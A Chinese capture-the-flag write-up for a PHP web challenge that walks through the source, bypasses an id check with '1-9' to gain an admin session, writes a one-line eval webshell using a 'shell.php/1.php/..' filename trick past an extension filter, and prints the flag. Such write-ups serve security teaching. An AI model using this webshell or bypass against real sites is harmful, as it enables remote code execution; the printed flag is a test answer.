
打开环境 根据提示找到

得到网站源码

 
这源码分为三段
一段一段分析

第一段:
<?php
    session_start();
    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }
    if (isset($_GET[page]) && $_GET[page] != ‘index.php‘) {
      include(‘flag.php‘);
    }else {
      header(‘Location: ?page=flag.php‘);
    }
    ?>
参数 page 存在 且 参数page不等于index.php 才包含flag.php

第二段:
 <?php
     if ($_SESSION[‘admin‘]) {
       $con = $_POST[‘con‘];
       $file = $_POST[‘file‘];
       $filename = "backup/".$file;
       if(preg_match(‘/.+\.ph(p[3457]?|t|tml)$/i‘, $filename)){
          die("Bad file extension");
       }else{
            chdir(‘uploaded‘);
           $f = fopen($filename, ‘w‘);
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>
session["admin"] 要拿到admin的session, 将$con 的内容 写到$file
if(preg_match(‘/.+\.ph(p[3457]?|t|tml)$/i‘, $filename)) 过滤掉后缀 是 .php3,.php4,.php5,.php7,.t,.tml
chdir(‘uploaded‘); 这里切换了路径 真实的路径在 uploaded下面

第三段:
<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== ‘1‘ && substr($_GET[id], -1) === ‘9‘) {
        include ‘config.php‘;
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id=‘$id‘";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }
      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION[‘admin‘] = True;
      }
     ?>
id 存在 ,floatval($_GET[id]) !== ‘1‘ 浮点不为1 ,substr($_GET[id], -1) === ‘9‘ 最后一位为9
三段代码分析结束了,
首先我们要得到admin
构造payload: ?page=flag.php&id=1-9&submit (page为flag.php,使用1-9来绕过第二端过滤)

第二步:
我们要写入一句话木马
con为 文件内容 file为文件名 post上传
构造payload: con=<?php @eval($_POST[cmd]) ?>&file=shell.php/1.php/..


上传成功
使用蚁剑连接


得到flag
cyberpeace{c4c0ee17bb51a571444ffb3edc04a087}
原文:https://www.cnblogs.com/zhangzhijie98/p/13184297.html